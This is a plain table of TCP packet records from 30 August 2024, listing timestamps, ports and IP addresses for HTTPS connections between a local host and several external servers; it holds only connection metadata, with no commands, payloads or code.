Aug 30, 2024 00:19:17.543467045 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.543487072 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.543489933 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.543545008 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.543548107 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.543565989 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.543602943 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.543607950 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.567430019 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.584734917 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.584753036 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.584757090 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.584773064 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.620399952 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.620438099 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.620448112 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.620471001 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.620508909 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.620657921 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.621386051 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.621392965 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.621438026 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.621448040 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.621469975 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.622201920 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.622246027 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.622252941 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.622287035 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.622970104 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.623006105 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.623047113 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.623090982 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.623096943 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.623128891 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.623883963 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.623929977 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.624548912 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.624610901 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.624622107 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625025034 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625058889 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625073910 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.625082970 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625123024 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.625139952 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625309944 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625317097 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625354052 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.625359058 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625466108 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625510931 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.625515938 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625560999 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.625643015 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625694036 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.625699997 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.625740051 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.626127958 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626178026 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.626415014 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626466036 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.626468897 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626507044 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.626509905 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626549006 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626583099 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626590014 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.626631975 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.626769066 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.626817942 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.627265930 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.627335072 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.627338886 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.627450943 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.627501011 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.627505064 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.627548933 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.627615929 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.627672911 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.628222942 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.628273964 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.628401041 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.628448963 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.628535032 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.628586054 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.629230022 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.629287958 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.629313946 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.629359961 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.636281967 CEST	49739	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.636296034 CEST	443	49739	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712016106 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712081909 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.712161064 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712215900 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.712301970 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712352991 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.712745905 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712774038 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712789059 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.712798119 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.712825060 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.712991953 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.713035107 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.713041067 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.713080883 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.713274002 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.713300943 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.713323116 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.713325977 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.713346958 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.713366985 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.713841915 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.713905096 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.714181900 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714226961 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714231968 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.714238882 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714267969 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714272976 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.714312077 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.714315891 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714364052 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.714766026 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714812040 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.714814901 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714862108 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.714904070 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.715584993 CEST	49740	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.715600967 CEST	443	49740	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.830667973 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.830694914 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.830725908 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.830737114 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.830744028 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.830749035 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.830774069 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.830806971 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.830821037 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.900147915 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.900203943 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.900229931 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.900254965 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.900279045 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.900289059 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.900418043 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.900464058 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.901127100 CEST	49742	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:17.901141882 CEST	443	49742	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:17.960901976 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.961293936 CEST	49746	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:17.961307049 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.961582899 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.961620092 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.961971045 CEST	49746	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:17.962028027 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.962208033 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.962233067 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.962524891 CEST	49746	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:17.962548971 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.962896109 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.962960958 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:17.963083982 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:17.978715897 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.978972912 CEST	49744	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:17.978992939 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.979356050 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.979806900 CEST	49744	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:17.979903936 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:17.979967117 CEST	49744	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.004499912 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.004503012 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.020498037 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.081542969 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.081604004 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.081636906 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.081705093 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.081732035 CEST	49746	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.081996918 CEST	49746	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.082881927 CEST	49746	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.082895041 CEST	443	49746	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.099396944 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.099487066 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.099522114 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.099590063 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.099618912 CEST	49744	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.099721909 CEST	49744	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.100298882 CEST	49744	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.100308895 CEST	443	49744	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.300204039 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300267935 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300321102 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300375938 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300406933 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.300417900 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300432920 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300468922 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.300524950 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300554037 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.300563097 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.300749063 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.301234961 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.306926966 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.307018042 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.307065964 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.307091951 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.307097912 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.307126045 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.320005894 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.320049047 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.324120998 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.325227976 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.325249910 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.351994991 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.386713028 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.386792898 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.386836052 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.386862993 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.386869907 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.386928082 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.386933088 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.387686014 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.387726068 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.387769938 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.387787104 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.387792110 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.387826920 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.388655901 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.388701916 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.388745070 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.388771057 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.388775110 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.388839006 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.388844013 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.389108896 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.389611959 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.389687061 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.389729023 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.389755964 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.389761925 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.389853954 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.390563011 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.390667915 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.390706062 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.390733004 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.390737057 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.390826941 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.418739080 CEST	49749	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.418776989 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.420237064 CEST	49749	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.425371885 CEST	49749	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.425384998 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.432255030 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.444152117 CEST	49750	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:19:18.444191933 CEST	443	49750	216.58.206.68	192.168.2.4
Aug 30, 2024 00:19:18.444310904 CEST	49750	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:19:18.444994926 CEST	49750	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:19:18.445008993 CEST	443	49750	216.58.206.68	192.168.2.4
Aug 30, 2024 00:19:18.473407984 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.473453045 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.473488092 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.473500013 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.473517895 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.473608017 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.473711014 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.473720074 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.474436045 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.474507093 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.474539042 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.474545002 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.474570036 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.475344896 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.475653887 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.475658894 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.475996017 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.476097107 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.476100922 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.476152897 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.476859093 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.476921082 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.476952076 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.476957083 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.476983070 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.477035999 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.477040052 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.477061987 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.477209091 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.801414013 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.860179901 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.910183907 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.910232067 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.910243988 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.910618067 CEST	49749	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.910634041 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.910932064 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.911459923 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.911472082 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.911849976 CEST	49749	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.911858082 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.911897898 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.912177086 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.912235022 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.912362099 CEST	49749	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:18.912374020 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.912380934 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:18.940048933 CEST	49745	443	192.168.2.4	104.17.25.14
Aug 30, 2024 00:19:18.940064907 CEST	443	49745	104.17.25.14	192.168.2.4
Aug 30, 2024 00:19:18.952503920 CEST	443	49749	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:18.961751938 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:18.997582912 CEST	49752	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:18.997617960 CEST	443	49752	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:18.997684002 CEST	49752	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:18.998143911 CEST	49752	443	192.168.2.4	207.211.211.27
Aug 30, 2024 00:19:18.998158932 CEST	443	49752	207.211.211.27	192.168.2.4
Aug 30, 2024 00:19:19.024734974 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.024785042 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.024811983 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.024841070 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.024873972 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.024902105 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:19.024903059 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:19.024923086 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.025194883 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:19.025618076 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.025813103 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.025835991 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.025870085 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:19.025882006 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.026150942 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:19.026158094 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.067240953 CEST	49748	443	192.168.2.4	104.17.24.14
Aug 30, 2024 00:19:19.067253113 CEST	443	49748	104.17.24.14	192.168.2.4
Aug 30, 2024 00:19:19.084084034 CEST	443	49750	216.58.206.68	192.168.2.4
